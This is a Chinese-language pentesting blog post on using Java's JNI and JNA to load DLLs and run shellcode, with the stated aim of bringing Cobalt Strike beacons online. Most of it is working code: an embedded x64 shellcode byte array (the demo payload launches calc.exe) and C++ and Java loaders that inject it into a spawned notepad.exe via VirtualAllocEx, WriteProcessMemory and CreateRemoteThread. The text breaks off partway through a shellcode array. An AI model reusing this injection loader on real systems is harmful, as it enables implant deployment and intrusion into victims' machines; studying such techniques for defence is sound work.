JAVA加载DLL或Shellcode方法学习

渗透技巧 2个月前 admin
177 0 0

本文如题,是为了学习JAVA的一个使用技巧,加载DLL或者Shellcode直接上线CS或者执行一些操作。

现在按我所知,加载DLL或者Shellcode方法有四种:

基于JNI、基于JNA、基于JDK自带的Native方法、基于HotSpot虚拟机(后面在学习)

所以本篇文章将以这些方法进行学习记录。

0x01 基于JNI

JNI是Java Native Interface的缩写,即Java本地接口。 它定义了一种虚拟机中的Java代码与用C/C++编写的本地代码交互的方式。支持从动态库中加载代码。使用JNI技术可以通过JAVA调用C/C++代码,也可以通过C/C++的代码调用Java的代码。

正常情况下编写的Java代码是不能直接调用C/C++代码,需要通过JNI标准接口进行间接调用ddddd。Java代码要想使用JNI调用Native层C/C++代码就需要先向JVM注册Native函数,其注册主要分为静态注册和动态注册两大类,通过注册可实现 Java Native 方法与 C/C++ 方法的对应关系。

静态和动态注册主要区别在于查找效率:静态注册,首次调用Java Native方法时,会按照JNI命名规则去寻找;而动态注册,由于存在一张映射表JNINativeMethod,因此查找效率高。最终,无论静态注册方法,还是动态注册方法,都需要将相应的C/C++文件编译成平台所需要的动态库。

调用JNI接口的步骤:

  1. 编写Java代码,标注要访问的本地动态连接库和本地方法

  2. Javac编译Java代码得到.class文件

  3. 使用javah生成该类对应的.h文件

  4. 使用C/C++实现函数功能,编译生成dll

  5. 通过Java调用dll

静态注册

编写JAVA类:

Java加载动态链接库常见的有以下常见三种方法:

  • System.load / System.loadLibrary

  • Runtime.getRuntime().load

  • com.sun.glass.utils.NativeLibLoader.loadLibrary

为了简单方便,我用System.load 直接传入动态链接库的路径即可。


package org.example;
public class LoadDLLdemo {
    public static native int outPutMethod(String input);
    public static void main(String[] args) {
        System.load("C:\Users\n0ToO\Desktop\JniTest\Dll1\x64\Release\Dll1.dll");
        String input = "test";
        System.out.println((new LoadDLLdemo()).outPutMethod(input));
    }
}

利用该命令进行编译 :javac .LoadDLLdemo.java

利用javah生成编译native库所需要的.h文件:

javac .LoadDLLdemo.java -h .

或者

javah -o LoadDLLdemo.java org.example.LoadDLLdemo.java

JAVA加载DLL或Shellcode方法学习

来看一下生成的.h文件:


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_example_LoadDLLdemo */
#ifndef _Included_org_example_LoadDLLdemo
#define _Included_org_example_LoadDLLdemo
#ifdef __cplusplus
extern "C" {
#endif
/*
 * Class:     org_example_LoadDLLdemo
 * Method:    outPutMethod
 * Signature: (Ljava/lang/String;)I
 */
JNIEXPORT jint JNICALL Java_org_example_LoadDLLdemo_outPutMethod
  (JNIEnv *, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif

#include <jni.h> 引入了JVM所声明的所有JNI接口规范,jni.h 位于$JAVA_HOME/include目录内,这是JNI中所有的类型、函数、宏等定义的地方。

extern "C" 声明是为了避免编绎器按照C++的方式去编绎C函数,也就是告诉编译器这部分代码使用C语言的规则进行编译和链接,这样处理的原因主要是涉及到C和C++的函数编译差异:C不支持函数的重载,编译之后函数名不变;而C++支持函数的重载,无论函数是否同名,编译之后函数名会发生改变,即被编译成函数名+参数类型的特殊修饰格式

其中的C函数是JNI Native对应的静态注册函数,用通过JNIEXPORTJNICALL宏定义来声明。除此之外,该静态注册函数的函数名主要是遵守特定JNI命名规范:Java_<PackageName>_<ClassName>_<MethodName>,同时发现函数参数多了两个类型:JNIEnv *jclass/jobject,这两个参数值由虚拟机自动传入。

通过JNIEnv * 指针可以对 Java 层代码进行操作,如:获取Java类/父类Class对象、创建Java对象、调用Java对象的方法等。

jclass表示Java层静态native函数对应Java类的Class对象

jobject 表示Java层非静态native函数对应Java类的实例对象

编写DLL:

LoadDlldemo.h


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_example_LoadDLLdemo */
#ifndef _Included_org_example_LoadDLLdemo
#define _Included_org_example_LoadDLLdemo
#ifdef __cplusplus
extern "C" {
#endif
  /*
   * Class:     org_example_LoadDLLdemo
   * Method:    outPutMethod
   * Signature: (Ljava/lang/String;)I
   */
  JNIEXPORT jint JNICALL Java_org_example_LoadDLLdemo_outPutMethod
  (JNIEnv*, jclass, jstring);
#ifdef __cplusplus
}
#endif
#endif

dllmain.cpp:


// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "LoadDLLdemo.h"
JNIEXPORT jint JNICALL Java_org_example_LoadDLLdemo_outPutMethod(JNIEnv* env, jclass jclass ,  jstring str) {
    printf("hello world");
    return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

如果爆没有找到jni.h的文件的错误的话,需要引入 <JDK_HOME>/include<JDK_HOME>/include/win32 目录作为附加包含目录(导航栏依次选择 项目 => 属性 => C/C++ => 常规 => 附加包含目录)。jni.h 头文件位于 JDK 项目 include 目录下,该目录下的所有 .h 文件主要为编译本地代码时使用的 C/C++ 头文件,所以需要引入。

JAVA加载DLL或Shellcode方法学习

然后编译生成。

执行结果

JAVA加载DLL或Shellcode方法学习

加载shellcode

java类:


package org.example;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
public class LoadDLLdemo {
    public native void inject(byte[] buf);
    public static void main(String[] args) {
        System.load("C:\Users\n0ToO\Desktop\JniTest\Dll1\x64\Release\Dll1.dll");
        byte buf[] = new byte[]
                {
                        (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                        (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                        (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                        (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                        (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                        (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                        (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                        (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                        (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                        (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                        (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                        (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                        (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                        (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                        (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                        (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                        (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                        (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                        (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                        (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                        (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                        (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                        (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                        (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                        (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                };
        RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
        long pid = runtimeMXBean.getPid();
        System.out.println(pid);
        (new LoadDLLdemo()).inject(buf);
    }
}

dllmain.cpp:


// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "LoadDLLdemo.h"
void inject(LPCVOID buffer, int length);
JNIEXPORT void JNICALL Java_org_example_LoadDLLdemo_inject(JNIEnv* env, jobject jo, jbyteArray buf) {
    jbyte* data = env->GetByteArrayElements(buf, 0);
    jsize length = env->GetArrayLength(buf);
    inject((LPCVOID)data, (SIZE_T)length);
    env->ReleaseByteArrayElements(buf, data, 0);
    printf("hello world");
}
void inject(LPCVOID buffer, int length) {
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hProcess = NULL;
    SIZE_T wrote;
    LPVOID ptr;
    char lbuffer[1024];
    char cmdbuff[1024];
    /* reset some stuff */
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    /* start a process */
    
    CHAR* test = (CHAR*)"notepad.exe";
    printf_s("%s", test);
    /* spawn the process, baby! */
    if (!CreateProcess(NULL, test, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed (%d).n", GetLastError());
        return;
    }
    hProcess = pi.hProcess;
    if (!hProcess)
        return;
    /* allocate memory in our process */
    ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    /* write our shellcode to the process */
    WriteProcessMemory(hProcess, (LPTHREAD_START_ROUTINE)ptr, buffer, (SIZE_T)length, (SIZE_T*)&wrote);
    if (wrote != length)
        return;
    /* create a thread in the process */
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, NULL);
}
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

成功传入执行。

JAVA加载DLL或Shellcode方法学习

动态注册

通过这篇文章进行学习:

https://tttang.com/archive/1622/#toc__1


(1) Java 类中声明一个 registerNatives() 静态Java Native方法
(2) 动态链接库中定义一个JNI动态注册的映射表,JNINativeMethod 类型的结构体数组
(3) 动态链接库中定义并实现一个符合JNI静态注册规则的 Java_<PackageName>_<ClassName>_registerNatives C/C++方法
(4) Java 类中通过静态块加载相应动态链接库
(5) Java 类中通过静态块调用 registerNatives() 静态Java Native方法
(6) JNI 动态注册开始,Java_<PackageName>_<ClassName>_registerNatives C/C++方法调用JNI动态注册接口 RegisterNatives()
(7) JNI 动态注册完成,Java 类中可调用相应JNI动态注册的Native方法

需要注意的是第二点:动态链接库中定义一个JNI动态注册的映射表,JNINativeMethod 类型的结构体数组,所以需要知道JNINativeMethod 类型的结构体:


typedef struct {
    char *name;
    char *signature;
    void *fnPtr;
} JNINativeMethod;

JNINativeMethod结构体成员字段如下表

字段 含义
char *name Java Native 方法名
char *signature Java Native 方法签名
void *fnPtr C/C++ 方法的函数指针

其中需要知道char *signature构造这个签名需要熟悉以下数据类型对应:

(1)基本数据类型关系表

JNI 类型 Java 类型 C/C++ 类型 本地类型
jsize/jint int int int32_t
jshort short short int16_t
jlong long long/__int64 int64_t
jbyte byte signed char char
jboolean boolean unsigned char uint8_t
jchar char unsigned short uint16_t
jfloat float float float
jdouble double double double

(2)引用数据类型关系表

JNI 类型 Java 类型 C 类型 C++ 类型
jobject 类实例化对象 _jobject* _jobject*
jclass _jobject* _jclass*
jstring java.lang.String _jobject* _jstring*
jthrowable java.lang.Throwable _jobject* _jthrowable*
jintArray int[] _jobject* _jintArray*

注意,除了上面定义的StringClassThrowable数组,其它的类都是以jobject的形式出现。

  • JNI 签名(描述符)

signature 译为签名,用于Java里面成员的描述符,其概念如下:


(1) 如果是字段,表示字段类型的描述符
(2) 如果是函数,表示函数结构的描述符,即:(每个参数类型描述符) + 返回值类型描述符

(1)Java 数据类型描述符关系表

Java 类型 字段描述符(签名) 备注
int I int 首字母大写
float F float 首字母大写
double D double 首字母大写
short S short 首字母大写
long L long 首字母大写
char C char 首字母大写
byte B byte 首字母大写
boolean Z Z (因为 B 已被 byte 使用)
object L + /分隔完整类名 java.lang.String 如: Ljava/lang/String
array [ + 类型描述符 int[] 如:[I

(2)Java 函数结构描述符关系表

Java 函数 函数描述符(签名) 备注
void V 无返回值类型
Method (每个参数字段描述符)函数返回值字段描述符 double sums(int num1, int num2) => (II)D

编写JAVA类:

org.example.LoadDLLdemo


package org.example;
import java.lang.management.ManagementFactory;
import java.lang.management.RuntimeMXBean;
public class LoadDLLdemo {
    //声明registerNatives静态Java Native方法
    private static native void registerNatives();
    public native void inject(byte[] buf);
    public static void main(String[] args) {
        System.load("C:\Users\n0ToO\Desktop\JniTest\Dll1\x64\Release\Dll1.dll");
        byte buf[] = new byte[]
                {
                        (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
                        (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,
                        (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,
                        (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,
                        (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,
                        (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,
                        (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,
                        (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,
                        (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,
                        (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,
                        (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,
                        (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,
                        (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,
                        (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,
                        (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,
                        (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,
                        (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,
                        (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,
                        (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,
                        (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,
                        (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,
                        (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,
                        (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,
                        (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,
                        (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,
                        (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,
                        (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,
                        (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,
                        (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00
                };
        RuntimeMXBean runtimeMXBean = ManagementFactory.getRuntimeMXBean();
        long pid = runtimeMXBean.getPid();
        System.out.println(pid);
        registerNatives();
        (new LoadDLLdemo()).inject(buf);
    }
}

编写DLL:

LoadDLLdemo.h


/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class org_example_LoadDLLdemo */
#ifndef _Included_org_example_LoadDLLdemo
#define _Included_org_example_LoadDLLdemo
#ifdef __cplusplus
extern "C" {
#endif
  /*
   * Class:     org_example_LoadDLLdemo
   * Method:    registerNatives
   * Signature: ()V
   */
  JNIEXPORT void JNICALL Java_org_example_LoadDLLdemo_registerNatives
  (JNIEnv*, jclass);
#ifdef __cplusplus
}
#endif
#endif

dllmain.cpp


// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
#include "LoadDLLdemo.h"
void inject(JNIEnv* env, jclass clas,jbyteArray data);
/*jbyteArray对应[B. Void 对应V*/
static JNINativeMethod method[] = {
    {(char *)"inject",(char *)"([B)V",(void *)inject }
};
JNIEXPORT void JNICALL Java_org_example_LoadDLLdemo_registerNatives(JNIEnv* env, jclass clas) {
    env->RegisterNatives(clas, method, sizeof(method) / sizeof(method[0]));
}
void inject(JNIEnv* env, jclass clas,jbyteArray data) {
    int length = env->GetArrayLength(data);
    LPCVOID buffer = (LPCVOID)env->GetByteArrayElements(data, 0);
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hProcess = NULL;
    SIZE_T wrote;
    LPVOID ptr;
    char lbuffer[1024];
    char cmdbuff[1024];
    
    /* reset some stuff */
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    /* start a process */
    /* resolve windir? */
    GetEnvironmentVariableW((LPCWSTR)"windir", (LPWSTR)lbuffer, 1024);
    /* setup our path... choose wisely for 32bit and 64bit platforms */
   // _snprintf_s(cmdbuff, 1024, "C:\Windows\System32\System32\notepad.exe", lbuffer);
    CHAR* test = (CHAR*)"notepad.exe";
    printf_s("%s", test);
    /* spawn the process, baby! */
    if (!CreateProcess(NULL, test, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed (%d).n", GetLastError());
        return;
    }
    hProcess = pi.hProcess;
    if (!hProcess)
        return;
    /* allocate memory in our process */
    ptr = (LPVOID)VirtualAllocEx(hProcess, 0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    /* write our shellcode to the process */
    WriteProcessMemory(hProcess, (LPTHREAD_START_ROUTINE)ptr, buffer, (SIZE_T)length, (SIZE_T*)&wrote);
    if (wrote != length)
        return;
    /* create a thread in the process */
    CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptr, NULL, 0, NULL);
}
BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

JAVA加载DLL或Shellcode方法学习



0x02 基于JNA

JNA(Java Native Access)框架是一个开源的Java框架,是SUN公司主导开发的,建立在经典的JNI的基础之上的一个框架。JNA框架它提供一组java工具类用于在运行期间动态访问系统本地共享类库,java开发人员只要在一个java接口中描述目标native library的函数与结构,JNA将自动实现Java接口到native function的映射,而不需要编写任何Native/JNI代码。

步骤

先用一个Hello World作为demo。

1、创建JAVA类加载C库

默认的是继承Library ,若是动态连接库里的函数是以stdcall方式输出的,那么就继承StdCallLibrary,比如kernel32库。

该常量经过Native.loadLibrary()这个API函数得到,该函数有2个参数:

  • 第 一个参数是动态连接库dll/so的名称,不用携带后缀,这符合JNI的规范。搜索动态链接库路径的顺序是:先从当前类的当前文件夹找,若是没有找到,再在工程当前文件夹下面找win32/win64文件夹,找到后搜索对应的dll文件,若是找不到再到WINDOWS下面去搜索,再找不到就会抛异常了。好比上例中printf函数

  • 第二个参数是本接口的Class类型。JNA经过这个Class类型,根据指定的.dll/.so文件,动态建立接口的实例。该实例由JNA经过反射自动生成。

  • 注意参数和返回值的类型,应该和连接库中的函数类型保持一致。


import com.sun.jna.Library;
public interface JNAApiInterface extends Library {
    //同时判断当前的环境是win还是linux,不同环境加载不同。在Windows平台下所在的dll库名称是msvcrt,而在 其它平台如Linux下的so库名称是c。
    JNAApiInterface INSTANCE = (JNAApiInterface) Native.loadLibrary((Platform.isWindows() ? "msvcrt" : "c"), JNAApiInterface.class);
    //定义要调用的方法。
    void printf(String format, Object... args);
    int sprintf(byte[] buffer, String format, Object... args);
    int scanf(String format, Object... args);
}

2、直接尝试调用C库 API


        JNAApiInterface jnaApiInterface = JNAApiInterface.INSTANCE;
        jnaApiInterface.printf("hello World");

JAVA加载DLL或Shellcode方法学习

完整DEMO:


package org.example;
import com.sun.jna.Library;
import com.sun.jna.Native;
import com.sun.jna.Platform;
public class JnaLoadDll {
    public interface JNAApiInterface extends Library {
        JNAApiInterface INSTANCE = (JNAApiInterface) Native.loadLibrary((Platform.isWindows() ? "msvcrt" : "c"), JNAApiInterface.class);
        void printf(String format, Object... args);
        int sprintf(byte[] buffer, String format, Object... args);
        int scanf(String format, Object... args);
    }
    public static void main(String[] args) {
        JNAApiInterface jnaApiInterface = JNAApiInterface.INSTANCE;
        jnaApiInterface.printf("hello World");
    }
}

Pom.xml


    <dependencies>
        <!-- https://mvnrepository.com/artifact/net.java.dev.jna/jna -->
        <dependency>
            <groupId>net.java.dev.jna</groupId>
            <artifactId>jna</artifactId>
            <version>5.12.1</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/net.java.dev.jna/jna-platform -->
        <dependency>
            <groupId>net.java.dev.jna</groupId>
            <artifactId>jna-platform</artifactId>
            <version>5.12.1</version>
        </dependency>
    </dependencies>


调用Win API加载Shellcode

通过JNA,可以直接尝试 调用DLL里面定义的API函数,这样在一些场景上就不用额外编写DLL,而是在Java里面调用实现。

比如可以利用JNA调用kernel32.dllntdll.dll

JAVA加载DLL或Shellcode方法学习

http://java-native-access.github.io/jna/5.12.1/javadoc/


package org.example;
import com.sun.jna.Memory;
import com.sun.jna.Native;
import com.sun.jna.Pointer;
import com.sun.jna.platform.win32.*;
import com.sun.jna.ptr.IntByReference;
import com.sun.jna.win32.StdCallLibrary;
import com.sun.jna.win32.W32APIOptions;
public class JnaLoadDll {
    static jnaInterface instance;
    static Kernel32 kernel32;
    static {
        instance = (jnaInterface) Native.loadLibrary("kernel32", jnaInterface.class);
        kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS);
    }
    public interface jnaInterface extends StdCallLibrary {
        Pointer VirtualAllocEx(WinNT.HANDLE hProcess,
                               Pointer lpAddress,
                               int dwSize,
                               int flAllocationType,
                               int flProtect);
        boolean CreateProcess(java.lang.String lpApplicationName,
                              java.lang.String lpCommandLine,
                              WinBase.SECURITY_ATTRIBUTES lpProcessAttributes,
                              WinBase.SECURITY_ATTRIBUTES lpThreadAttributes,
                              boolean bInheritHandles,
                              WinDef.DWORD dwCreationFlags,
                              Pointer lpEnvironment,
                              java.lang.String lpCurrentDirectory,
                              WinBase.STARTUPINFO lpStartupInfo,
                              WinBase.PROCESS_INFORMATION lpProcessInformation);
        WinNT.HANDLE CreateRemoteThread(WinNT.HANDLE hProcess,
                                        WinBase.SECURITY_ATTRIBUTES lpThreadAttributes,
                                        int dwStackSize,
                                        Pointer lpStartAddress,
                                        Pointer lpParameter,
                                        int dwCreationFlags,
                                        WinDef.DWORDByReference lpThreadId);
        boolean WriteProcessMemory(WinNT.HANDLE hProcess,
                                   Pointer lpBaseAddress,
                                   Pointer lpBuffer,
                                   int nSize,
                                   IntByReference lpNumberOfBytesWritten);
    }
    public static void main(String[] args) {
        byte shellcode[] = new byte[]
                {
                        (byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,
                        (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,
